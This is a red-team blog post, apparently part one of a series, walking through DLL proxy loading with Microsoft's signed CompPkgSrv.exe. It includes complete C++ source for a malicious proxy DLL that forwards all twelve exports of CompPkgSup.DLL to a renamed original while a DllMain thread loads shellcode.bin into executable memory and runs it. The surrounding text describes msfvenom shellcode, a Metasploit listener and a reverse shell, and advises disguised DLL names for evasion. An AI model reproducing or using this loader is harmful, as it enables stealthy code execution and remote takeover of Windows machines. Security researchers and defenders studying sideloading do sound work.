Mastering DLL Proxy Loading | 0x01

DLL Proxy Loading May 16, 2024

After a very long break, I am here with a different spell. Today, I am going to discuss the DLL Proxy loading method. This method is widely used by red teamers or threat actors to deliver their payload while remaining undetectable. This will be a complete series on how we can deliver this payload, implement it with a C2 framework, and perform lateral movement. However, in this first section, we will only go through the DLL proxy loading scenario. Stay tuned for the entire series.

01. Introduction

Before I start, let me explain how a typical application loads external functions for third-party libraries like DLLs.

As explained in the image above, the application fetches data upon startup using a third-party function called GetExtraData(). This function exists within the dynamic link library ExtraFunctions.dll located in the same working directory of the application. Because the GetExtraData() function is within the DLL file, the application runs normally.

Okay, what is DLL Proxy loading, then?

What if we rename the ExtraFunctions.dll to OtherFunction.dll and create a new ExtraFunctions.dll with our custom code to link those files. When the application tries to fetch data, ExtraFunctions.dll will retrieve it from OtherFunction.dll while also running our tasks. Here is a picture of the demonstration.

When the application starts up, it will attempt to fetch data using the GetExtraData() function from the ExtraFunctions.dll. However, instead of the original file, it will try to retrieve data from our malicious DLL file that we created as ExtraFunctions.dll. It linked the functions as export links from the legitimate DLL call OtherFunction.dll, allowing the application to run smoothly while we drop our payload into the memory. Furthermore, all files are located within the same directory

02. Getting start

Choosing the right executable for this scenario is more challenging than creating the exploit. We need to select an executable with a size less than 8MB, ideally around 3MB, that is digitally signed by a legitimate, well-known entity. Additionally, it should load a low number of DLLs unsafely at runtime. Therefore, we need to conduct research on multiple executables, but fortunately, I am lucky here.

To demonstrate this example, I want to obtain the executable from the Windows system itself because it is a legitimate binary and is signed by an authorized entity, mostly Microsoft. In order to accomplish this, I searched through the Windows system32 folder and found a small executable called CompPkgSrv.exe that can be used easily to achieve this.

The CompPkgSrv.exe, also known as the Component Package Support Server, is a legitimate Microsoft program responsible for managing and processing package deployment and installation for the Windows Store. You can upload the exe file to VirusTotal to confirm that there are no malicious signatures on it.

My first step was to create a new folder and copy the CompPkgSrv.exe binary into that folder. Then,I started the Process Monitor application to view the process. Once the Process Monitor was open, I set the filter to display only the activity for the CompPkgSrv.exe binary.

Since we are only focused on the DLL, we can filter by path as shown below.

Since we are only focused on the system file activity, we set the filter as shown in the image below.

Then we are ready to determine which DLLs this binary is using. To do so, we can run our CompPkgSrv.exe binary file and monitor the process activity using Process Monitor.

In the picture above, you can see that the binary is searching for a DLL named CompPkgSup.DLL in our current directory. Since it is not found in our current folder, it will retrieve the DLL from the system32 folder. Let's apply a filter to CompPkgSup.DLL and view the output clearly.

Now we can see the clear output.

Let's copy the CompPkgSup.DLL into our current folder, clear the current output in the processes monitor, and then run the DLL again to verify this scenario.

Now that we are absolutely sure, we can use the proxy loading method for the CompPkgSup.DLL

03. Crafting the payload

To initiate the proxy loading method, my first step was to create a payload. To demonstrate this scenario, I utilized msfvenom to generate a shellcode

Next, we need to analyze the CompPkgSup.DLL file using the pefile Python module. You can install pefile via pip by typing pip install pefile. Make sure to take note of all functions.

As you can see, there are 12 functions inside the DLL file. Now, we need to create a new malicious DLL file to run the payload and load these functions seamlessly. Let's open Visual Studio and start a new project. Select C++ as the language and choose the Dynamic-link Library (DLL) template, as shown below.

Next, set the name as the legitimate name of our DLL.

We needed to rename our CompPkgSup.DLL to a new name. In this example, I renamed it as CompPkgSup-org.DLL. However, in actual scenarios, we would rename it to a legitimate DLL name, such as CompPkgSpu.DLL, where we changed 'CompPkgSup' to 'CompPkgSpu'. To avoid confusion later on, I kept the name as CompPkgSup-org.DLL for demonstration purposes. Let's continue with the story

After creating a new project, we can remove all lines in the dllmain.cpp file and replace them as follows.

#include "pch.h"
#include <stdio.h>
#include <stdlib.h>

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

#pragma comment(linker, "/export:AreDvdCodecsEnabled=CompPkgSup-org.AreDvdCodecsEnabled,@1")
#pragma comment(linker, "/export:GetMediaComponentPackageInfo=CompPkgSup-org.GetMediaComponentPackageInfo,@2")
#pragma comment(linker, "/export:GetMediaComponentPackageInfoInternal=CompPkgSup-org.GetMediaComponentPackageInfoInternal,@3")
#pragma comment(linker, "/export:GetMediaExtensionCommunicationFactory=CompPkgSup-org.GetMediaExtensionCommunicationFactory,@4")
#pragma comment(linker, "/export:GetNetworkRequestCount=CompPkgSup-org.GetNetworkRequestCount,@5")
#pragma comment(linker, "/export:GetServerForPMP=CompPkgSup-org.GetServerForPMP,@6")
#pragma comment(linker, "/export:GetSystemNativeProcessorSignature=CompPkgSup-org.GetSystemNativeProcessorSignature,@7")
#pragma comment(linker, "/export:InstantiateComponentFromPackage=CompPkgSup-org.InstantiateComponentFromPackage,@8")
#pragma comment(linker, "/export:IsMediaBehaviorEnabled=CompPkgSup-org.IsMediaBehaviorEnabled,@9")
#pragma comment(linker, "/export:RegisterServerForPMP=CompPkgSup-org.RegisterServerForPMP,@10")
#pragma comment(linker, "/export:RequireNetworkDuringMediaTaskCompletion=CompPkgSup-org.RequireNetworkDuringMediaTaskCompletion,@11")
#pragma comment(linker, "/export:UnregisterServerForPMP=CompPkgSup-org.UnregisterServerForPMP,@12")


DWORD WINAPI DoMagic(LPVOID lpParameter)
{

    FILE* fp;
    size_t size;
    unsigned char* buffer;

    fp = fopen("shellcode.bin", "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    buffer = (unsigned char*)malloc(size);


    fread(buffer, size, 1, fp);

    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, buffer, size);

    ((void(*) ())exec)();

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
 
        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
        CloseHandle(threadHandle);

    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

As you can see in the code, we are linking all legitimate functions from our CompPkgSup.dll (malicious) to CompPkgSup-mal.dll (original). These links can be obtained using the Python pefile module.

You can compare the above image to get an idea of how to link those functions into our code. Additionally, as shown in the image below, in the DoMagic function we are attempting to read the shellcode.bin file and load it into memory.

Let's compile this into a DLL file. Before completing it, make sure to understand the architecture of your CPU. Here, I am compiling it as a 64-bit program.

04. Execute

Finally, we are all ready to run this program, so please place everything into one folder as indicated below.

Before running this, I will start my Metasploit listener on my Kali machine as shown below.

Once we are ready, we can run it.

As you can see in the image below, we have successfully obtained the reverse shell.

05 Ending

Would you be surprised if I told you that the above C++ code can be automatically generated using any tool? Yes, it can. Allow me to introduce a tool called SharpDllProxy from Flangvik. After cloning the repository locally, you need to complete it through Visual Studio and copy both the shellcode.bin file and our CompPkgSup.DLL (Original DLL) file into the folder. Then, you can run the command below to generate the C++ code.

Afterwards, you can navigate to the output folder to locate the original DLL file, which has been renamed as a temporary file, as well as the C++ code needed to compile as our proxy DLL file. You can use the same method that we used to complete our proxy DLL through Visual Studio.

So guys, this is the end of our first episode. Next time, we will discuss a very interesting topic on how we can embed into an ISO file and deliver it to the victim. Until then, goodbye!

Tags

Harith Dilshan

- Offensive Security Engineer | Ethical Hacker | Penetration Tester -